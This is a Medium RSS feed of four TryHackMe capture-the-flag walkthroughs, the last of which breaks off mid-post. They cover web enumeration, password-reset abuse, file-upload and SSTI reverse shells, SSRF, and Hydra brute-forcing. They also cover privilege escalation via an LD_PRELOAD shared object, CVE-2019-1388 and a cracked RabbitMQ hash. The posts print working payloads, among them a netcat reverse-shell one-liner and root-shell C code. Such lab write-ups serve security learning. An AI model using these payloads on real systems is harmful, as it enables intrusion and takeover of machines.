<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Majid Banday on Medium]]></title>
        <description><![CDATA[Stories by Majid Banday on Medium]]></description>
        <link>https://medium.com/@bandaymajid70?source=rss-853b24bade1d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*sgnk5rHQozgs0LTe</url>
            <title>Stories by Majid Banday on Medium</title>
            <link>https://medium.com/@bandaymajid70?source=rss-853b24bade1d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 10:06:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bandaymajid70/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Road — Medium]]></title>
            <link>https://medium.com/@bandaymajid70/road-medium-8e02f116ab14?source=rss-853b24bade1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e02f116ab14</guid>
            <dc:creator><![CDATA[Majid Banday]]></dc:creator>
            <pubDate>Tue, 06 Jan 2026 06:46:59 GMT</pubDate>
            <atom:updated>2026-01-06T06:46:59.599Z</atom:updated>
            <content:encoded><![CDATA[<h3>🛣Road — Medium</h3><p><strong>Platform:</strong> TryHackMe<br><strong>OS:</strong> Linux<br><strong>Difficulty:</strong> Medium</p><h3>🔍 Enumeration</h3><h3>Port Scanning (RustScan)</h3><p>I started with a fast port scan using rustscan:</p><pre>PORT   STATE SERVICE REASON<br>22/tcp open  ssh     syn-ack<br>80/tcp open  http    syn-ack</pre><h3>Service Enumeration (Nmap)</h3><p>Next, I ran an in-depth Nmap scan on the discovered ports:</p><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>|   3072 14:67:37:84:2f:9f:a5:b9:85:57:8f:8a:1c:b2:70:96 (RSA)<br>|   256 b1:80:e8:30:7e:04:e2:a5:9a:06:76:71:24:73:14:bc (ECDSA)<br>|_  256 a3:bc:90:6c:c2:37:47:64:74:07:16:bb:99:14:a3:54 (ED25519)</pre><pre>80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>|_ http-title: Sky Couriers<br>|_ http-server-header: Apache/2.4.41 (Ubuntu)</pre><pre>Service Info: OS: Linux</pre><h3>🌐 Web Enumeration (Port 80)</h3><p>Visiting the website revealed an <strong>e-commerce courier tracking platform</strong> called <strong>Sky Couriers</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hgr_pigUQ0193GJk-57BLw.png" /></figure><p>Key observations:</p><ul><li>Login page</li><li>Registration page</li><li>Order &amp; return functionality</li><li>Profile management section</li></ul><p>Since I didn’t have credentials, I <strong>registered a new user account</strong> and explored the application functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPVkus8jT6exRCooVYAgVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f6JRF2FoyJC5lB24NJTdQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D5J0n8pWWeCVvw6EjC54xg.png" /></figure><h3>Authentication Bypass → Admin Access</h3><p>While exploring the profile section, I noticed:</p><ul><li>Only <strong>admins</strong> can edit certain profile fields</li><li>An <strong>admin email address</strong> was exposed in the application</li></ul><p>Before brute-forcing, I tested for <strong>logic flaws</strong> in authentication flows.</p><h3>Password Reset Vulnerability</h3><p>I discovered that the <strong>password reset functionality</strong> allowed resetting the <strong>admin password</strong> without proper validation.</p><p>➡️ Using this flaw, I successfully <strong>reset the admin password</strong><br>➡️ Logged in as <strong>admin</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pYEeG9UVKGnYXY4NAvBRyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hVGMh4IJuu1GMFxdIG3GIg.png" /></figure><h3>File Upload → Reverse Shell</h3><p>As admin, profile editing functionality became available.</p><h3>Exploitation Steps:</h3><ul><li>Uploaded a PHP reverse shell through the profile update feature</li><li>Captured the upload request using <strong>Caido</strong></li><li>Shell uploaded successfully to:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mZGRvLiLUMuswMC55NxAiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fh3Whf1xLwvD1NN2xQj_9w.png" /></figure><pre>/v2/profileupdates/shell_name.php</pre><h3>Listener:</h3><pre>nc -lvnp &lt;PORT&gt;</pre><p>Once triggered, I received a reverse shell as:</p><pre>www-data</pre><h3>🏁 User Flag</h3><p>From the www-data shell, I was able to read the <strong>user flag</strong>.</p><h3>⬆️ Privilege Escalation: www-data → webdeveloper</h3><h3>Internal Service Discovery</h3><p>During enumeration, I found a local service listening on:</p><pre>127.0.0.1:27017</pre><p>This is the default <strong>MongoDB</strong> port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UEXYCX1ZgG51_4ACUgCNhA.png" /></figure><h3>MongoDB Access</h3><pre>mongo 127.0.0.1</pre><p>The database was accessible <strong>without authentication</strong>.</p><p>Inside the database, I found <strong>credentials for the </strong><strong>webdeveloper user</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fFRjeoU8VgqI4sMEu_XkIQ.png" /></figure><h3>SSH as webdeveloper</h3><p>Using the extracted credentials:</p><pre>ssh webdeveloper@&lt;TARGET-IP&gt;</pre><p>Access granted 🎯</p><h3>⬆️ Privilege Escalation: webdeveloper → root</h3><h3>Sudo Enumeration</h3><pre>sudo -l</pre><p>Output revealed:</p><pre>(ALL) NOPASSWD: /usr/bin/sky_backup_utility</pre><p>This binary was vulnerable to <strong>LD_PRELOAD</strong> exploitation.</p><h3>LD_PRELOAD Exploit</h3><p>Shared libraries can be injected into programs at runtime using LD_PRELOAD. Since the binary runs as <strong>root</strong>, this allows privilege escalation.</p><h3>Malicious Shared Object</h3><p>Create the following C file in /tmp/shell.c:</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;stdlib.h&gt;<br>void _init() {<br>    unsetenv(&quot;LD_PRELOAD&quot;);<br>    setgid(0);<br>    setuid(0);<br>    system(&quot;/bin/sh&quot;);<br>}</pre><p>Compile it:</p><pre>gcc -fPIC -shared -o shell.so shell.c -nostartfiles</pre><h3>Exploitation</h3><pre>sudo LD_PRELOAD=/tmp/shell.so /usr/bin/sky_backup_utility</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jd7xu-ruN_55d0KWqTUeJw.png" /></figure><p>Verification:</p><pre>id<br>whoami</pre><p>✅ <strong>root</strong></p><h3>🏁 Root Flag</h3><p>Successfully read the <strong>root flag</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e02f116ab14" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Retro]]></title>
            <link>https://medium.com/@bandaymajid70/tryhackme-retro-28b082f6d860?source=rss-853b24bade1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/28b082f6d860</guid>
            <dc:creator><![CDATA[Majid Banday]]></dc:creator>
            <pubDate>Tue, 16 Dec 2025 04:59:32 GMT</pubDate>
            <atom:updated>2025-12-16T04:59:32.612Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Retro</h3><p><strong>Level:</strong> Hard<br><strong>Link:</strong> <a href="https://tryhackme.com/room/retro">Retro Room</a></p><h3>Enumeration</h3><p>I started the enumeration phase with a basic <strong>RustScan</strong>, which revealed two open ports:</p><pre>PORT     STATE SERVICE<br>80/tcp   open  http<br>3389/tcp open  ms-wbt-server (RDP)</pre><p>Since port <strong>80 (HTTP)</strong> and <strong>3389 (RDP)</strong> were open, I proceeded with a detailed <strong>Nmap service scan</strong> on these ports to gather more information about the running services.</p><p>Next, I added the target to my local hosts file for proper name resolution:</p><pre>sudo nano /etc/hosts<br>&lt;IP&gt; retro.thm</pre><h3>Web Enumeration (Port 80)</h3><p>After visiting http://retro.thm, I observed that the server was running <strong>Microsoft IIS 10.0</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YDKA_kj3gt8EcX1H7tmqMA.png" /></figure><p>I inspected the <strong>page source</strong>, checked visible technologies, and began directory brute-forcing using <strong>Feroxbuster</strong>.</p><p>After some enumeration, I discovered a directory named:</p><pre>/retro</pre><p>Interestingly, this directory name also corresponded to the <strong>first flag</strong>, confirming it as a valid finding.</p><p>I then ran <strong>Feroxbuster in recursive mode</strong>, which revealed additional directories. During this process, I identified that the site was also running <strong>WordPress</strong>.</p><h3>Information Gathering &amp; Credential Discovery</h3><p>I navigated to the /retro page and carefully reviewed the content. While browsing the blog posts, I noticed references to potential usernames — specifically the name <strong>“wade”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pZ95J-h4-DWSZ3bLZy6KeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bJZil3q5VblapaU7esWzeA.png" /></figure><p>One particular post stood out:</p><blockquote>“I keep mistyping the name of his avatar whenever I log in but I think I’ll eventually get it down. Either way, I’m really excited to see this movie.”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bJZil3q5VblapaU7esWzeA.png" /></figure><p>This was a strong hint. The name <strong>Wade</strong> immediately suggested a reference to <em>Ready Player One</em>. I quickly Googled <strong>Wade’s avatar name</strong>, which led me to “Obfuscated”</p><h3>WordPress Login &amp; Initial Access</h3><p>I navigated to the WordPress login page:</p><pre>/wp-login.php</pre><p>I first attempted to log in using the username <strong>admin</strong>, but WordPress responded with <em>“Invalid username”</em>, confirming that the user did not exist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NAo2O4cDDCJttEFFD2AyHA.png" /></figure><p>Next, I tried the username <strong>wade</strong> with a random password. This time, WordPress returned <em>“Incorrect password”</em>, confirming that <strong>wade</strong> was a valid user.</p><p>Based on the earlier hint, I attempted the password:</p><pre>Username: &quot;Obfuscated&quot;<br>Password: &quot;Obfuscated&quot;</pre><p>✔ <strong>Successful login</strong></p><p>Not only did this grant access, but the user <strong>wade</strong> also had <strong>administrator privileges</strong> on WordPress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ia8SujSjh80l_qIEx3tidg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IX8hN8W24VOItxsozsAGUQ.png" /></figure><h3>RDP Access &amp; User Flag</h3><p>Since RDP (3389) was open, I decided to reuse the same credentials — there was no harm in testing them.</p><p>Using the credentials:</p><pre>&quot;Obfuscated&quot; : &quot;Obfuscated&quot;</pre><p>I successfully logged into the Windows machine via <strong>RDP</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LcBJ3QE4cGNbQQhIYB-DjQ.png" /></figure><p>Once logged in, I found the <strong>user flag</strong> located directly on the <strong>Desktop</strong>.</p><h3>Privilege Escalation</h3><p>While exploring the system, I noticed something unusual in the <strong>Recycle Bin</strong> — a deleted executable named:</p><pre>hhupd.exe</pre><p>After researching, I found that:</p><ul><li><strong>hhupd.exe</strong> (HTML Help Update) is a legitimate Microsoft executable</li><li>It is associated with a known <strong>privilege escalation vulnerability</strong></li><li><strong>CVE-2019–1388</strong></li></ul><p>This vulnerability exists in the Windows Certificate Dialog when it does not properly enforce user privileges, aka ‘Windows Certificate Dialog Elevation of Privilege Vulnerability’.</p><h3>Exploiting CVE-2019–1388</h3><h3>Steps Taken:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*UIkSvROS6-osJefTufPUOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*ut7ChOzA8ACrRmZMauV83Q.png" /></figure><ol><li>Restored hhupd.exe from the Recycle Bin.</li><li>Right-clicked the executable and selected <strong>Run as administrator</strong>.</li><li>Clicked <strong>“Show more details”</strong> on the UAC prompt.</li><li>Selected <strong>“Show information about the publisher’s certificate.”</strong></li><li>Clicked <strong>VeriSign Commercial Software Publishers CA → OK → No</strong></li><li>A browser window opened as <strong>NT AUTHORITY\SYSTEM</strong>, displaying a 404 VeriSign page.</li><li>Clicked the <strong>gear icon → File → Save As…</strong></li><li>When prompted with <em>“Location is not available”</em>, clicked <strong>OK</strong>.</li><li>In the <strong>File name</strong> field, entered:</li></ol><pre>C:\Windows\System32\cmd.exe</pre><p>This spawned a <strong>SYSTEM-level command prompt</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qwYaXFCmdYBaYWIFV0OkOQ.png" /></figure><h3>Root Flag</h3><p>With SYSTEM privileges obtained, I navigated to the administrator directory and successfully retrieved the <strong>root flag</strong>, completing the room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sV-Tth78iiGK8gz71we2Zw.png" /></figure><h3>Final Notes</h3><ul><li>This room emphasized <strong>careful enumeration</strong>, <strong>context-based password guessing</strong>, and <strong>Windows privilege escalation via known CVEs</strong>.</li><li>No brute-force attacks were required everything was achievable through observation and logic.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28b082f6d860" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ TryHackMe: Rabbit Store Walkthrough]]></title>
            <link>https://medium.com/@bandaymajid70/tryhackme-rabbit-store-walkthrough-1b453520db77?source=rss-853b24bade1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b453520db77</guid>
            <dc:creator><![CDATA[Majid Banday]]></dc:creator>
            <pubDate>Fri, 03 Oct 2025 11:08:03 GMT</pubDate>
            <atom:updated>2025-10-03T11:08:03.078Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Level:</strong> Medium<br><strong>Link:</strong> <a href="https://tryhackme.com/room/rabbitstore">Rabbit Store</a></p><h3>Enumeration</h3><p>I started with a quick port scan using <strong>Rustscan</strong> to discover open ports:</p><pre>rustscan -a &lt;MACHINE_IP&gt; --ulimit 5000</pre><p><strong>Results:</strong></p><pre>PORT      STATE SERVICE<br>22/tcp    open  ssh<br>80/tcp    open  http<br>4369/tcp  open  epmd<br>25672/tcp open  unknown</pre><p>To gather more details, I ran <strong>Nmap</strong> with service and OS detection:</p><pre>nmap -sT -A &lt;MACHINE_IP&gt; -p 22,80,4369,25672</pre><p><strong>Results:</strong></p><pre>22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu<br>80/tcp    open  http     Apache httpd 2.4.52 (Ubuntu)<br>4369/tcp  open  epmd     Erlang Port Mapper Daemon<br>25672/tcp open  unknown  (RabbitMQ Node)</pre><p>So the box is running <strong>Apache (web app), SSH, and RabbitMQ (Erlang node)</strong>.</p><h3>Foothold</h3><h3>Step 1: Web Enumeration</h3><p>Visiting http://&lt;MACHINE_IP&gt; redirected me to http://cloudsite.thm.<br> I added it to /etc/hosts:</p><pre>echo &quot;&lt;MACHINE_IP&gt; cloudsite.thm&quot; | sudo tee -a /etc/hosts</pre><p>The page advertised a <strong>cloud service</strong>. There was a login/signup page hosted on a subdomain, so I followed the redirect and added that as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KdtGPRBgYstI8IYkcTy5Eg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YTOSScbdVO1nt6KwoFCRzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YPFszHrLeWnjX54pExCZOg.png" /></figure><p>I signed up with a test account, logged in, and noticed a message:</p><p><em>“This service is only available for internal users or admins. Please activate your account.”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_GQ2ADMiYsIAVfcbBbHR1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dCv0u53meBnhuI292Fs8Zg.png" /></figure><p>Clearly, I needed to <strong>activate</strong> my account.</p><h3>Step 2: JWT Tampering Attempt</h3><p>I inspected the JWT token in my session. Inside the payload, there was a <strong>subscription object</strong> with &quot;status&quot;: &quot;inactive&quot;.<br> I tried forging my own JWT with &quot;status&quot;: &quot;active&quot;, but the server rejected it (Invalid Token).</p><p>So I switched tactics.</p><h3>Step 3: Exploiting Signup Request</h3><p>While reviewing the signup request in <strong>Caido</strong>, I noticed the POST body only contained username and password.</p><p>I modified it to include &quot;subscription&quot;:&quot;active&quot;:</p><pre>{<br>  &quot;username&quot;:&quot;majid&quot;,<br>  &quot;password&quot;:&quot;pass123&quot;,<br>  &quot;subscription&quot;:&quot;active&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M74wXht1BWp4jnPcCTXHIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fO9rSxHWPvlcHGMc3xnzCw.png" /></figure><p>After logging in with this modified account → ✅ I was now inside the <strong>activated dashboard</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vWrDQPeqcpvBBwP-Q1ocng.png" /></figure><h3>Step 4: File Upload / SSRF</h3><p>Inside the dashboard, there was an <strong>upload feature</strong>:</p><ul><li>Upload by file</li><li>Upload via URL</li></ul><p>File upload didn’t work (extensions were filtered).<br> Using <strong>URL upload</strong>, I tested for <strong>SSRF</strong> by pointing it at <a href="http://127.0.0.1:80.">http://127.0.0.1:80.</a></p><p>It worked! 🚀<br> I automated SSRF enumeration with Caido and discovered:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G7hoAjcWY3FQ4joZsy_VhQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fmeN2cy5UQrWV-6g3ARJWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fnfNYN0rsJkO0_tI7-ehaA.png" /></figure><ul><li><strong>80</strong> → Cloudsite</li><li><strong>3000</strong> → Express.js</li><li><strong>8000</strong> → (unknown service)</li><li><strong>15672</strong> → RabbitMQ management</li></ul><h3>Step 5: Express API → SSTI</h3><p>Checking http://127.0.0.1:3000/api/docs, I found multiple endpoints.<br> One interesting endpoint was:</p><pre>POST /api/fetch_messages_from_chatbot</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gwvpIGXA66vee6trMQZMFA.png" /></figure><p>When I tested it with JSON input:</p><pre>{&quot;username&quot;:&quot;test&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tlNS7YIcmC1kkk9q8Qjyxw.png" /></figure><p>The response echoed back my username → potential <strong>SSTI</strong>.</p><p>I confirmed SSTI using a polyglot payload:</p><pre>{&quot;username&quot;:&quot;${{&lt;%[%&#39;\&quot;}}%\.&quot;}</pre><p>This triggered a <strong>template error</strong>, confirming injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AFKZVyaVo3MqlVrS9wql3Q.png" /></figure><h3>Step 6: RCE via SSTI</h3><p>I crafted a Python-based RCE payload:</p><pre>{&quot;username&quot;:&quot;{{ self.__init__.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2&gt;&amp;1|nc &lt;MY_IP&gt; 1234 &gt;/tmp/f&#39;).read() }}&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1T_XBXUmYGeD0xWOAiNpQ.png" /></figure><p>I started a <strong>netcat listener</strong>:</p><pre>nc -lvnp 1234</pre><p>After sending the payload → I got a <strong>reverse shell</strong> 🎉<br> From here, I grabbed the <strong>user flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*LTZMmJk1NzDbN_Vf_b4RhA.png" /></figure><h3>Privilege Escalation (Root)</h3><h3>Step 1: RabbitMQ Enumeration</h3><p>We knew RabbitMQ was running (epmd and port 25672).<br> RabbitMQ stores authentication tokens in .erlang.cookie. I retrieved the cookie from the compromised box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZzpX6LJtXdBvrMbYIGtSJg.png" /></figure><p>With the cookie, I could authenticate with the RabbitMQ node.</p><h3>Step 2: Using RabbitMQ CLI</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5JNQtpl736FFZMo5F3JBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nFiutUFJ0p6qTsdT6Bho6g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*sHJ50_kA6WxIboF2kc36oQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wOFWydLeItRAcAbB9Qc05g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZQAdopKJNyNGoNsxhWYwWg.png" /></figure><p>I switched to the <strong>rabbit</strong> user and used rabbitmqctl.</p><pre>rabbitmqctl add_user test test<br>rabbitmqctl set_user_tags test administrator</pre><p>Now I had admin access.</p><h3>Step 3: Accessing RabbitMQ Panel</h3><p>I forwarded port <strong>15672</strong> to my local machine with <strong>chisel</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*seSD4vJZsD6ZtppTMGgejw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RKBanI9PagfM1W9Xo9ijzA.png" /></figure><pre>chisel server -p 9001 --reverse<br>chisel client &lt;VICTIM_IP&gt;:9001 R:15672:127.0.0.1:15672</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*91MbtporSSbeZhtm3DqfRQ.png" /></figure><p>On my local browser → I could now access RabbitMQ management at http://127.0.0.1:15672 using the creds I just created.</p><p>Inside the panel, /api/users exposed <strong>root’s hashed password</strong>.</p><h3>Step 4: Cracking the Hash</h3><p>The RabbitMQ password hashes use:</p><pre>base64( &lt;4-byte salt&gt; + sha256( &lt;4-byte salt&gt; + &lt;password&gt; ) )</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RRmlMAn8GwecBbZ3GGVFPg.png" /></figure><h3>This is the algorithm:</h3><ul><li>Generate a random 32 bit salt. In this example, we will use 908D C60A. When RabbitMQ creates or updates a user, a random salt is generated.</li><li>Prepend the generated salt with the UTF-8 representation of the desired password. If the password is test12, at this step, the intermediate result would be 908D C60A 7465 7374 3132</li><li>Take the hash (this example assumes the default <a href="https://www.rabbitmq.com/docs/passwords#changing-algorithm">hashing function</a>, SHA-256): A5B9 24B3 096B 8897 D65A 3B5F 80FA 5DB62 A94 B831 22CD F4F8 FEAD 10D5 15D8 F391</li><li>Prepend the salt again: 908D C60A A5B9 24B3 096B 8897 D65A 3B5F 80FA 5DB62 A94 B831 22CD F4F8 FEAD 10D5 15D8 F391</li><li>Convert the value to base64 encoding: kI3GCqW5JLMJa4iX1lo7X4D6XbYqlLgxIs30+P6tENUV2POR</li><li>Use the finaly base64-encoded value as the password_hash value in HTTP API requests and generated definition file</li></ul><p>To process:</p><ol><li>Convert Hash to base64</li><li>Decode base64 → hex.</li></ol><pre>echo -n &#39;&lt;hash&gt;&#39; | base64 -d | xxd -p -c 100</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xN80imVlPgJDR1870LOC5A.png" /></figure><ol><li>Remove the first 4 bytes (salt).</li><li>Crack with <strong>hashcat</strong>.</li></ol><p>After cracking, I obtained <strong>root’s password (redacted)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mNP9G754BZERp2nxgKvnOQ.png" /></figure><h3>Step 5: Root Access</h3><p>I switched to root:</p><pre>su root</pre><p>And successfully retrieved the <strong>root flag</strong> from /root/root.txt.</p><h3>Conclusion</h3><ul><li><strong>Enumeration</strong>: Discovered Apache, Express.js, RabbitMQ (via SSRF).</li><li><strong>Foothold</strong>: Exploited JWT misconfiguration during signup to activate account.</li><li><strong>Exploitation</strong>: Abused SSRF → found Express API → SSTI → RCE → user shell.</li><li><strong>Privilege Escalation</strong>: Leveraged RabbitMQ .erlang.cookie + admin access → retrieved and cracked root hash → full root compromise.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b453520db77" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: NanoCherryCTF]]></title>
            <link>https://medium.com/@bandaymajid70/tryhackme-nanocherryctf-58a5ec28c235?source=rss-853b24bade1d------2</link>
            <guid isPermaLink="false">https://medium.com/p/58a5ec28c235</guid>
            <dc:creator><![CDATA[Majid Banday]]></dc:creator>
            <pubDate>Tue, 30 Sep 2025 08:29:42 GMT</pubDate>
            <atom:updated>2025-09-30T08:29:42.245Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Level:</strong> Medium<br><strong>Link:</strong> <a href="https://tryhackme.com/room/nanocherryctf">NanoCherryCTF Room</a></p><h3>🧭 Enumeration</h3><p>We were provided with initial credentials:</p><pre>Username: notsus<br>Password: dontbeascriptkiddie</pre><p>I started with a port scan using <strong>Rustscan</strong> to quickly identify open ports:</p><pre>rustscan -a 10.10.XX.XX --ulimit 5000</pre><p>Results:</p><pre>22/tcp open  ssh<br>80/tcp open  http</pre><p>Next, I ran <strong>Nmap</strong> for service detection:</p><pre>nmap -sT -A 10.10.XX.XX -p 22,80</pre><p>Output:</p><pre>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu<br>80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))<br>|_http-title: Cherry on Top Ice Cream Shop</pre><p>I added the domain to my /etc/hosts:</p><pre>10.10.XX.XX cherryontop.thm</pre><h3>Web Enumeration</h3><p>Visiting http://cherryontop.thm → Ice Cream Shop website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-iYhZUbtZsD4DbUl7vrdQ.png" /></figure><ul><li>A page content.php showed &quot;facts for user = guest&quot;, encoded in <strong>base32</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDErVM5Z-m8KlLEJ0OK1jA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8lVt4NX08anxD-PnkqhtDA.png" /></figure><ul><li>Likely useful later when we have more usernames.</li></ul><p>I checked /images and found an <strong>MP4 file</strong> hinting about subdomains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*7VBbCAtofMyfFkwzFmW3eg.png" /></figure><p>So I ran <strong>subdomain fuzzing</strong>:</p><pre>ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \<br>-u http://cherryontop.thm -H &quot;Host: FUZZ.cherryontop.thm&quot; -fw 5633</pre><p>Result:</p><pre>nano.cherryontop.thm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xotoxIuPjZJ2m35AZoc85Q.png" /></figure><p>Added to hosts:</p><pre>10.10.XX.XX nano.cherryontop.thm</pre><h3>Nano Subdomain</h3><p>Visiting http://nano.cherryontop.thm → &quot;Cult of Nano&quot; website with an <strong>admin login page</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*31hRxm3riziDThdfBe_OPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jjms3-XufCmiTSo55eJdmQ.png" /></figure><p>Tried the given creds (notsus/dontbeascriptkiddie) → <strong>user not found</strong>.</p><p>So I brute-forced usernames with Hydra:</p><pre>hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt \<br>-p test nano.cherryontop.thm http-post-form \<br>&quot;/login.php:username=^USER^&amp;password=^PASS^&amp;submit=:F=This user doesn&#39;t exist&quot;</pre><p>Result:</p><pre>[80][http-post-form] host: nano.cherryontop.thm   login: puppet</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zwSY3-pzGPkfPWJ5COZ_fg.png" /></figure><p>Now brute-forced password for puppet:</p><pre>hydra -l puppet -P /usr/share/wordlists/rockyou.txt \<br>nano.cherryontop.thm http-post-form \<br>&quot;/login.php:username=^USER^&amp;password=^PASS^&amp;submit=:F=Bad Password&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QLks3YJ9BxnxX1K9jr6AAQ.png" /></figure><p>Result:</p><pre>[80][http-post-form] host: nano.cherryontop.thm   login: puppet   password: master</pre><p>Logged in as puppet:master → got <strong>flag and also potential password for a user</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2cnIiCBN7qZjRc9bMSnYVg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZG7u_vyocHawMyLspL6yQ.png" /></figure><h3>SSH Access &amp; User Enumeration</h3><p>Since we were given starting creds earlier, I tried SSH:</p><pre>ssh notsus@cherryontop.thm</pre><p>Access granted ✅</p><p>Enumerating users from /etc/passwd, I found:</p><pre>molly<br>chad<br>sam-sprinkles<br>bib-boba</pre><p>I tried the found password against these users.<br> → Successfully logged in as <strong>molly</strong>.</p><p>Inside Molly’s home, I found <strong>first part of 